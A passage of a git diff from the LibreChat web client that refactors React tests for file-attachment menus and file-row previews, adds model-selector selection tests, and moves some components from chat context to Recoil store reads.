EModelEndpoint.azureOpenAI }); + renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false }); + openMenu(); + expect(screen.getByText('Upload Image')).toBeInTheDocument(); }); }); - describe('Supported Providers', () => { - const supportedProviders = [ - { name: 'OpenAI', endpoint: EModelEndpoint.openAI }, - { name: 'Anthropic', endpoint: EModelEndpoint.anthropic }, - { name: 'Google', endpoint: EModelEndpoint.google }, - { name: 'Custom', endpoint: EModelEndpoint.custom }, - ]; - - supportedProviders.forEach(({ name, endpoint }) => { - it(`should show Upload to Provider for ${name}`, () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: endpoint, - }); - - renderAttachFileMenu({ - endpoint, - endpointType: endpoint, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); + describe('agent provider resolution scenario', () => { + it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => { + setupMocks({ provider: 'Moonshot' }); + renderMenu({ + endpoint: EModelEndpoint.agents, + endpointType: EModelEndpoint.custom, }); - }); - - it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.azureOpenAI, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.azureOpenAI, - endpointType: EModelEndpoint.azureOpenAI, - useResponsesApi: true, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + openMenu(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); }); - it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.azureOpenAI, + it('shows "Upload Image" when agents endpoint has no resolved provider type', () => { + setupMocks(); + renderMenu({ + endpoint: EModelEndpoint.agents, + endpointType: EModelEndpoint.agents, }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.azureOpenAI, - endpointType: EModelEndpoint.azureOpenAI, - useResponsesApi: false, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument(); + openMenu(); expect(screen.getByText('Upload Image')).toBeInTheDocument(); }); }); + describe('Basic Rendering', () => { + it('renders the attachment button', () => { + setupMocks(); + renderMenu(); + expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument(); + }); + + it('is disabled when disabled prop is true', () => { + setupMocks(); + renderMenu({ disabled: true }); + expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled(); + }); + + it('is not disabled when disabled prop is false', () => { + setupMocks(); + renderMenu({ disabled: false }); + expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled(); + }); + }); + describe('Agent Capabilities', () => { - it('should show OCR Text option when context is enabled', () => { + it('shows OCR Text option when context is enabled', () => { + setupMocks(); mockUseAgentCapabilities.mockReturnValue({ contextEnabled: true, fileSearchEnabled: false, codeEnabled: false, }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - expect(screen.getByText('Upload OCR Text')).toBeInTheDocument(); + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); + expect(screen.getByText('Upload as Text')).toBeInTheDocument(); }); - it('should show File Search option when enabled and allowed by agent', () => { + it('shows File Search option when enabled and allowed by agent', () => { + setupMocks(); mockUseAgentCapabilities.mockReturnValue({ contextEnabled: false, fileSearchEnabled: true, codeEnabled: false, }); - mockUseAgentToolPermissions.mockReturnValue({ fileSearchAllowedByAgent: true, codeAllowedByAgent: false, provider: undefined, }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.getByText('Upload for File Search')).toBeInTheDocument(); }); - it('should NOT show File Search when enabled but not allowed by agent', () => { + it('does NOT show File Search when enabled but not allowed by agent', () => { + setupMocks(); mockUseAgentCapabilities.mockReturnValue({ contextEnabled: false, fileSearchEnabled: true, codeEnabled: false, }); - - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: undefined, - }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument(); }); - it('should show Code Files option when enabled and allowed by agent', () => { + it('shows Code Files option when enabled and allowed by agent', () => { + setupMocks(); mockUseAgentCapabilities.mockReturnValue({ contextEnabled: false, fileSearchEnabled: false, codeEnabled: true, }); - mockUseAgentToolPermissions.mockReturnValue({ fileSearchAllowedByAgent: false, codeAllowedByAgent: true, provider: undefined, }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.getByText('Upload Code Files')).toBeInTheDocument(); }); - it('should show all options when all capabilities are enabled', () => { + it('shows all options when all capabilities are enabled', () => { + setupMocks(); mockUseAgentCapabilities.mockReturnValue({ contextEnabled: true, fileSearchEnabled: true, codeEnabled: true, }); - mockUseAgentToolPermissions.mockReturnValue({ fileSearchAllowedByAgent: true, codeAllowedByAgent: true, provider: undefined, }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); - expect(screen.getByText('Upload OCR Text')).toBeInTheDocument(); + expect(screen.getByText('Upload as Text')).toBeInTheDocument(); expect(screen.getByText('Upload for File Search')).toBeInTheDocument(); expect(screen.getByText('Upload Code Files')).toBeInTheDocument(); }); }); describe('SharePoint Integration', () => { - it('should show SharePoint option when enabled', () => { + it('shows SharePoint option when enabled', () => { + setupMocks(); mockUseGetStartupConfig.mockReturnValue({ - data: { - sharePointFilePickerEnabled: true, - }, + data: { sharePointFilePickerEnabled: true }, }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument(); }); - it('should NOT show SharePoint option when disabled', () => { - mockUseGetStartupConfig.mockReturnValue({ - data: { - sharePointFilePickerEnabled: false, - }, - }); - - renderAttachFileMenu({ - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - + it('does NOT show SharePoint option when disabled', () => { + setupMocks(); + renderMenu({ endpointType: EModelEndpoint.openAI }); + openMenu(); expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument(); }); }); describe('Edge Cases', () => { - it('should handle undefined endpoint and provider gracefully', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: undefined, - }); - - renderAttachFileMenu({ - endpoint: undefined, - endpointType: undefined, - }); - + it('handles undefined endpoint and provider gracefully', () => { + setupMocks(); + renderMenu({ endpoint: undefined, endpointType: undefined }); const button = screen.getByRole('button', { name: /attach file options/i }); expect(button).toBeInTheDocument(); fireEvent.click(button); - - // Should show Upload Image as fallback expect(screen.getByText('Upload Image')).toBeInTheDocument(); }); - it('should handle null endpoint and provider gracefully', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: null, - }); - - renderAttachFileMenu({ - endpoint: null, - endpointType: null, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).toBeInTheDocument(); + it('handles null endpoint and provider gracefully', () => { + setupMocks(); + renderMenu({ endpoint: null, endpointType: null }); + expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument(); }); - it('should handle missing agentId gracefully', () => { - renderAttachFileMenu({ - agentId: undefined, - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).toBeInTheDocument(); + it('handles missing agentId gracefully', () => { + setupMocks(); + renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI }); + expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument(); }); - it('should handle empty string agentId', () => { - renderAttachFileMenu({ - agentId: '', - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - expect(button).toBeInTheDocument(); - }); - }); - - describe('Google Provider Special Case', () => { - it('should use image_document_video_audio file type for Google provider', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.google, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.google, - endpointType: EModelEndpoint.google, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - const uploadProviderButton = screen.getByText('Upload to Provider'); - expect(uploadProviderButton).toBeInTheDocument(); - - // Click the upload to provider option - fireEvent.click(uploadProviderButton); - - // The file input should have been clicked (indirectly tested through the implementation) - }); - - it('should use image_document file type for non-Google providers', () => { - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.openAI, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.openAI, - endpointType: EModelEndpoint.openAI, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - const uploadProviderButton = screen.getByText('Upload to Provider'); - expect(uploadProviderButton).toBeInTheDocument(); - fireEvent.click(uploadProviderButton); - - // Implementation detail - image_document type is used - }); - }); - - describe('Regression Tests', () => { - it('should not break the previous behavior for direct provider attachments', () => { - // When using a direct supported provider (not through a gateway) - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.anthropic, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.anthropic, - endpointType: EModelEndpoint.anthropic, - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); - }); - - it('should maintain correct priority when both are supported', () => { - // Both endpointType and provider are supported, endpointType should be checked first - mockUseAgentToolPermissions.mockReturnValue({ - fileSearchAllowedByAgent: false, - codeAllowedByAgent: false, - provider: EModelEndpoint.google, - }); - - renderAttachFileMenu({ - endpoint: EModelEndpoint.google, - endpointType: EModelEndpoint.openAI, // Different but both supported - }); - - const button = screen.getByRole('button', { name: /attach file options/i }); - fireEvent.click(button); - - // Should still work because endpointType (openAI) is supported - expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); + it('handles empty string agentId', () => { + setupMocks(); + renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI }); + expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument(); }); }); }); diff --git a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx index 90c1c3a7b5..ccfa19ffc8 100644 --- a/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx +++ b/client/src/components/Chat/Input/Files/__tests__/FileRow.spec.tsx @@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({ logger: { log: jest.fn(), }, + getCachedPreview: jest.fn(() => undefined), })); jest.mock('../Image', () => { @@ -95,7 +96,7 @@ describe('FileRow', () => { }; describe('Image URL Selection Logic', () => { - it('should use filepath instead of preview when progress is 1 (upload complete)', () => { + it('should prefer cached preview over filepath when upload is complete', () => { const file = createMockFile({ file_id: 'uploaded-file', preview: 'blob:http://localhost:3080/temp-preview', @@ -109,8 +110,7 @@ describe('FileRow', () => { renderFileRow(filesMap); const imageUrl = screen.getByTestId('image-url').textContent; - expect(imageUrl).toBe('/images/user123/uploaded-file__image.png'); - expect(imageUrl).not.toContain('blob:'); + expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview'); }); it('should use preview when progress is less than 1 (uploading)', () => { @@ -147,7 +147,7 @@ describe('FileRow', () => { expect(imageUrl).toBe('/images/user123/file-without-preview__image.png'); }); - it('should use filepath when both preview and filepath exist and progress is exactly 1', () => { + it('should prefer preview over filepath when both exist and progress is 1', () => { const file = createMockFile({ file_id: 'complete-file', preview: 'blob:http://localhost:3080/old-blob', @@ -161,7 +161,7 @@ describe('FileRow', () => { renderFileRow(filesMap); const imageUrl = screen.getByTestId('image-url').textContent; - expect(imageUrl).toBe('/images/user123/complete-file__image.png'); + expect(imageUrl).toBe('blob:http://localhost:3080/old-blob'); }); }); @@ -284,7 +284,7 @@ describe('FileRow', () => { const urls = screen.getAllByTestId('image-url').map((el) => el.textContent); expect(urls).toContain('blob:http://localhost:3080/preview-1'); - expect(urls).toContain('/images/user123/file-2__image.png'); + expect(urls).toContain('blob:http://localhost:3080/preview-2'); }); it('should deduplicate files with the same file_id', () => { @@ -321,10 +321,10 @@ describe('FileRow', () => { }); }); - describe('Regression: Blob URL Bug Fix', () => { - it('should NOT use revoked blob URL after upload completes', () => { + describe('Preview Cache Integration', () => { + it('should prefer preview blob URL over filepath for zero-flicker rendering', () => { const file = createMockFile({ - file_id: 'regression-test', + file_id: 'cache-test', preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b', filepath: '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png', @@ -337,8 +337,24 @@ describe('FileRow', () => { renderFileRow(filesMap); const imageUrl = screen.getByTestId('image-url').textContent; + expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b'); + }); - expect(imageUrl).not.toContain('blob:'); + it('should fall back to filepath when no preview exists', () => { + const file = createMockFile({ + file_id: 'no-preview', + preview: undefined, + filepath: + '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png', + progress: 1, + }); + + const filesMap = new Map(); + filesMap.set(file.file_id, file); + + renderFileRow(filesMap); + + const imageUrl = screen.getByTestId('image-url').textContent; expect(imageUrl).toBe( '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png', ); diff --git a/client/src/components/Chat/Input/MCPSelect.tsx b/client/src/components/Chat/Input/MCPSelect.tsx index 278e603db0..a5356f5094 100644 --- a/client/src/components/Chat/Input/MCPSelect.tsx +++ b/client/src/components/Chat/Input/MCPSelect.tsx @@ -11,7 +11,7 @@ import { useHasAccess } from '~/hooks'; import { cn } from '~/utils'; function MCPSelectContent() { - const { conversationId, mcpServerManager } = useBadgeRowContext(); + const { conversationId, storageContextKey, mcpServerManager } = useBadgeRowContext(); const { localize, isPinned, @@ -128,7 +128,11 @@ function MCPSelectContent() { {configDialogProps && ( - + )} ); diff --git a/client/src/components/Chat/Input/MCPSubMenu.tsx b/client/src/components/Chat/Input/MCPSubMenu.tsx index ca547ca1f7..b0b8fad1bb 100644 --- a/client/src/components/Chat/Input/MCPSubMenu.tsx +++ b/client/src/components/Chat/Input/MCPSubMenu.tsx @@ -15,7 +15,7 @@ interface MCPSubMenuProps { const MCPSubMenu = React.forwardRef( ({ placeholder, ...props }, ref) => { const localize = useLocalize(); - const { mcpServerManager } = useBadgeRowContext(); + const { storageContextKey, mcpServerManager } = useBadgeRowContext(); const { isPinned, mcpValues, @@ -106,7 +106,9 @@ const MCPSubMenu = React.forwardRef(
- {configDialogProps && } + {configDialogProps && ( + + )}
); }, diff --git a/client/src/components/Chat/Input/Mention.tsx b/client/src/components/Chat/Input/Mention.tsx index 2defcc7623..34bddba519 100644 --- a/client/src/components/Chat/Input/Mention.tsx +++ b/client/src/components/Chat/Input/Mention.tsx @@ -2,20 +2,18 @@ import { useState, useRef, useEffect } from 'react'; import { useCombobox } from '@librechat/client'; import { AutoSizer, List } from 'react-virtualized'; import { EModelEndpoint } from 'librechat-data-provider'; -import type { TConversation } from 'librechat-data-provider'; import type { MentionOption, ConvoGenerator } from '~/common'; import type { SetterOrUpdater } from 'recoil'; +import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks'; import useSelectMention from '~/hooks/Input/useSelectMention'; -import { useLocalize, TranslationKeys } from '~/hooks'; import { useAssistantsMapContext } from '~/Providers'; import useMentions from '~/hooks/Input/useMentions'; import { removeCharIfLast } from '~/utils'; import MentionItem from './MentionItem'; -const ROW_HEIGHT = 40; +const ROW_HEIGHT = 44; export default function Mention({ - conversation, setShowMentionPopover, newConversation, textAreaRef, @@ -23,7 +21,6 @@ export default function Mention({ placeholder = 'com_ui_mention', includeAssistants = true, }: { - conversation: TConversation | null; setShowMentionPopover: SetterOrUpdater; newConversation: ConvoGenerator; textAreaRef: React.MutableRefObject; @@ -32,6 +29,7 @@ export default function Mention({ includeAssistants?: boolean; }) { const localize = useLocalize(); + const getConversation = useGetConversation(0); const assistantsMap = useAssistantsMapContext(); const { options, @@ -45,9 +43,9 @@ export default function Mention({ const { onSelectMention } = useSelectMention({ presets, modelSpecs, - conversation, assistantsMap, endpointsConfig, + getConversation, newConversation, }); diff --git a/client/src/components/Chat/Input/MentionItem.tsx b/client/src/components/Chat/Input/MentionItem.tsx index fcfb22c312..6c978240ee 100644 --- a/client/src/components/Chat/Input/MentionItem.tsx +++ b/client/src/components/Chat/Input/MentionItem.tsx @@ -25,15 +25,16 @@ export default function MentionItem({ }: MentionItemProps) { return (
} > - {isAssistantsEndpoint(endpoint.value) && endpoint.models === undefined ? ( -
-
- ) : ( - <> - {/* Render modelSpecs for this endpoint */} - {endpointSpecs.map((spec: TModelSpec) => ( - - ))} - {/* Render endpoint models */} - {filteredModels - ? renderEndpointModels( - endpoint, - endpoint.models || [], - selectedModel, - filteredModels, - endpointIndex, - ) - : endpoint.models && - renderEndpointModels( - endpoint, - endpoint.models, - selectedModel, - undefined, - endpointIndex, - )} - - )} + ); } else { diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx index 752788d63a..7cec4744d5 100644 --- a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx +++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx @@ -11,12 +11,18 @@ import { cn } from '~/utils'; interface EndpointModelItemProps { modelId: string | null; endpoint: Endpoint; - isSelected: boolean; } -export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointModelItemProps) { +export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps) { const localize = useLocalize(); - const { handleSelectModel } = useModelSelectorContext(); + const { handleSelectModel, selectedValues } = useModelSelectorContext(); + const { + endpoint: selectedEndpoint, + model: selectedModel, + modelSpec: selectedSpec, + } = selectedValues; + const isSelected = + !selectedSpec && selectedEndpoint === endpoint.value && selectedModel === modelId; const { isFavoriteModel, toggleFavoriteModel, isFavoriteAgent, toggleFavoriteAgent } = useFavorites(); @@ -147,7 +153,6 @@ export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointMod export function renderEndpointModels( endpoint: Endpoint | null, models: Array<{ name: string; isGlobal?: boolean }>, - selectedModel: string | null, filteredModels?: string[], endpointIndex?: number, ) { @@ -161,7 +166,6 @@ export function renderEndpointModels( key={`${endpoint.value}${indexSuffix}-${modelId}-${modelIndex}`} modelId={modelId} endpoint={endpoint} - isSelected={selectedModel === modelId} /> ), ); diff --git a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx index 34985639c5..26831a577e 100644 --- a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx +++ b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx @@ -160,7 +160,9 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP } const isModelSelected = - selectedEndpoint === endpoint.value && selectedModel === modelId; + !selectedSpec && + selectedEndpoint === endpoint.value && + selectedModel === modelId; return ( ({ + useModelSelectorContext: () => ({ + handleSelectModel: mockHandleSelectModel, + selectedValues: mockSelectedValues, + }), +})); + +jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => { + const React = jest.requireActual('react'); + return { + CustomMenuItem: React.forwardRef(function MockMenuItem( + { children, ...rest }: { children?: React.ReactNode }, + ref: React.Ref, + ) { + return React.createElement('div', { ref, role: 'menuitem', ...rest }, children); + }), + }; +}); + +jest.mock('~/hooks', () => ({ + useLocalize: () => (key: string) => key, + useFavorites: () => ({ + isFavoriteModel: () => false, + toggleFavoriteModel: jest.fn(), + isFavoriteAgent: () => false, + toggleFavoriteAgent: jest.fn(), + }), +})); + +const baseEndpoint: Endpoint = { + value: 'anthropic', + label: 'Anthropic', + hasModels: true, + models: [{ name: 'claude-opus-4-6' }], + icon: null, +}; + +describe('EndpointModelItem', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('renders checkmark when model and endpoint match with no active spec', () => { + mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' }; + render(); + + const menuItem = screen.getByRole('menuitem'); + expect(menuItem).toHaveAttribute('aria-selected', 'true'); + }); + + it('does NOT render checkmark when a model spec is active even if endpoint and model match', () => { + mockSelectedValues = { + endpoint: 'anthropic', + model: 'claude-opus-4-6', + modelSpec: 'my-anthropic-spec', + }; + render(); + + const menuItem = screen.getByRole('menuitem'); + expect(menuItem).not.toHaveAttribute('aria-selected'); + }); + + it('does NOT render checkmark when model matches but endpoint differs', () => { + mockSelectedValues = { endpoint: 'openai', model: 'claude-opus-4-6', modelSpec: '' }; + render(); + + const menuItem = screen.getByRole('menuitem'); + expect(menuItem).not.toHaveAttribute('aria-selected'); + }); + + it('does NOT render checkmark when endpoint matches but model differs', () => { + mockSelectedValues = { endpoint: 'anthropic', model: 'claude-sonnet-4-5', modelSpec: '' }; + render(); + + const menuItem = screen.getByRole('menuitem'); + expect(menuItem).not.toHaveAttribute('aria-selected'); + }); +}); diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx new file mode 100644 index 0000000000..8ab9235f6f --- /dev/null +++ b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx @@ -0,0 +1,109 @@ +import { render, screen } from '@testing-library/react'; +import type { Endpoint, SelectedValues } from '~/common'; +import { SearchResults } from '../SearchResults'; + +const mockHandleSelectSpec = jest.fn(); +const mockHandleSelectModel = jest.fn(); +const mockHandleSelectEndpoint = jest.fn(); +let mockSelectedValues: SelectedValues; + +jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({ + useModelSelectorContext: () => ({ + selectedValues: mockSelectedValues, + handleSelectSpec: mockHandleSelectSpec, + handleSelectModel: mockHandleSelectModel, + handleSelectEndpoint: mockHandleSelectEndpoint, + endpointsConfig: {}, + }), +})); + +jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => { + const React = jest.requireActual('react'); + return { + CustomMenuItem: React.forwardRef(function MockMenuItem( + { children, ...rest }: { children?: React.ReactNode }, + ref: React.Ref, + ) { + return React.createElement('div', { ref, role: 'menuitem', ...rest }, children); + }), + }; +}); + +jest.mock('../SpecIcon', () => { + const React = jest.requireActual('react'); + return { + __esModule: true, + default: () => React.createElement('span', null, 'icon'), + }; +}); + +const localize = (key: string) => key; + +const anthropicEndpoint: Endpoint = { + value: 'anthropic', + label: 'Anthropic', + hasModels: true, + models: [{ name: 'claude-opus-4-6' }, { name: 'claude-sonnet-4-5' }], + icon: null, +}; + +const noModelsEndpoint: Endpoint = { + value: 'custom', + label: 'Custom', + hasModels: false, + icon: null, +}; + +describe('SearchResults', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('marks model as selected when endpoint and model match with no active spec', () => { + mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' }; + render( + , + ); + + const items = screen.getAllByRole('menuitem'); + const selectedItem = items.find((el) => el.getAttribute('aria-selected') === 'true'); + expect(selectedItem).toBeDefined(); + expect(selectedItem).toHaveTextContent('claude-opus-4-6'); + }); + + it('does not mark model as selected when a spec is active', () => { + mockSelectedValues = { + endpoint: 'anthropic', + model: 'claude-opus-4-6', + modelSpec: 'my-spec', + }; + render( + , + ); + + const items = screen.getAllByRole('menuitem'); + for (const item of items) { + expect(item).not.toHaveAttribute('aria-selected'); + } + }); + + it('does not mark endpoint as selected when a spec is active', () => { + mockSelectedValues = { + endpoint: 'custom', + model: '', + modelSpec: 'my-spec', + }; + render(); + + const item = screen.getByRole('menuitem'); + expect(item).not.toHaveAttribute('aria-selected'); + }); + + it('marks endpoint as selected when no spec is active and endpoint matches', () => { + mockSelectedValues = { endpoint: 'custom', model: '', modelSpec: '' }; + render(); + + const item = screen.getByRole('menuitem'); + expect(item).toHaveAttribute('aria-selected', 'true'); + }); +}); diff --git a/client/src/components/Chat/Menus/HeaderNewChat.tsx b/client/src/components/Chat/Menus/HeaderNewChat.tsx index 764397eddb..a50d42af85 100644 --- a/client/src/components/Chat/Menus/HeaderNewChat.tsx +++ b/client/src/components/Chat/Menus/HeaderNewChat.tsx @@ -1,14 +1,16 @@ import { QueryKeys } from 'librechat-data-provider'; +import { useRecoilValue } from 'recoil'; import { useQueryClient } from '@tanstack/react-query'; import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client'; -import { useChatContext } from '~/Providers'; +import { useNewConvo, useLocalize } from '~/hooks'; import { clearMessagesCache } from '~/utils'; -import { useLocalize } from '~/hooks'; +import store from '~/store'; export default function HeaderNewChat() { const localize = useLocalize(); const queryClient = useQueryClient(); - const { conversation, newConversation } = useChatContext(); + const { newConversation } = useNewConvo(); + const conversation = useRecoilValue(store.conversationByIndex(0)); const clickHandler: React.MouseEventHandler = (e) => { if (e.button === 0 && (e.ctrlKey || e.metaKey)) { diff --git a/client/src/components/Chat/Menus/PresetsMenu.tsx b/client/src/components/Chat/Menus/PresetsMenu.tsx index 7ba0ae5c88..0edd1635bc 100644 --- a/client/src/components/Chat/Menus/PresetsMenu.tsx +++ b/client/src/components/Chat/Menus/PresetsMenu.tsx @@ -1,4 +1,5 @@ import { useRef } from 'react'; +import { useRecoilValue } from 'recoil'; import { Trans } from 'react-i18next'; import { BookCopy } from 'lucide-react'; import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover'; @@ -13,7 +14,7 @@ import { import type { FC } from 'react'; import { EditPresetDialog, PresetItems } from './Presets'; import { useLocalize, usePresets } from '~/hooks'; -import { useChatContext } from '~/Providers'; +import store from '~/store'; const PresetsMenu: FC = () => { const localize = useLocalize(); @@ -33,7 +34,7 @@ const PresetsMenu: FC = () => { presetToDelete, confirmDeletePreset, } = usePresets(); - const { preset } = useChatContext(); + const preset = useRecoilValue(store.presetByIndex(0)); const handleDeleteDialogChange = (open: boolean) => { setShowDeleteDialog(open); diff --git a/client/src/components/Chat/Messages/Content/ContentParts.tsx b/client/src/components/Chat/Messages/Content/ContentParts.tsx index 42ce8b8f14..4b431d7a98 100644 --- a/client/src/components/Chat/Messages/Content/ContentParts.tsx +++ b/client/src/components/Chat/Messages/Content/ContentParts.tsx @@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources'; import Container from './Container'; import Part from './Part'; +type PartWithContextProps = { + part: TMessageContentParts; + idx: number; + isLastPart: boolean; + messageId: string; + conversationId?: string | null; + nextType?: string; + isSubmitting: boolean; + isLatestMessage?: boolean; + isCreatedByUser: boolean; + isLast: boolean; + partAttachments: TAttachment[] | undefined; +}; + +const PartWithContext = memo(function PartWithContext({ + part, + idx, + isLastPart, + messageId, + conversationId, + nextType, + isSubmitting, + isLatestMessage, + isCreatedByUser, + isLast, + partAttachments, +}: PartWithContextProps) { + const contextValue = useMemo( + () => ({ + messageId, + isExpanded: true as const, + conversationId, + partIndex: idx, + nextType, + isSubmitting, + isLatestMessage, + }), + [messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage], + ); + + return ( + + + + ); +}); + type ContentPartsProps = { content: Array | undefined; messageId: string; @@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({ const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]); const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; - /** - * Render a single content part with proper context. - */ const renderPart = useCallback( (part: TMessageContentParts, idx: number, isLastPart: boolean) => { const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? ''; - const partAttachments = attachmentMap[toolCallId]; - return ( - - - + idx={idx} + part={part} + isLast={isLast} + messageId={messageId} + isLastPart={isLastPart} + conversationId={conversationId} + isLatestMessage={isLatestMessage} + isCreatedByUser={isCreatedByUser} + nextType={content?.[idx + 1]?.type} + isSubmitting={effectiveIsSubmitting} + partAttachments={attachmentMap[toolCallId]} + /> ); }, [ diff --git a/client/src/components/Chat/Messages/Content/DialogImage.tsx b/client/src/components/Chat/Messages/Content/DialogImage.tsx index cb496de646..b9cbe64555 100644 --- a/client/src/components/Chat/Messages/Content/DialogImage.tsx +++ b/client/src/components/Chat/Messages/Content/DialogImage.tsx @@ -4,6 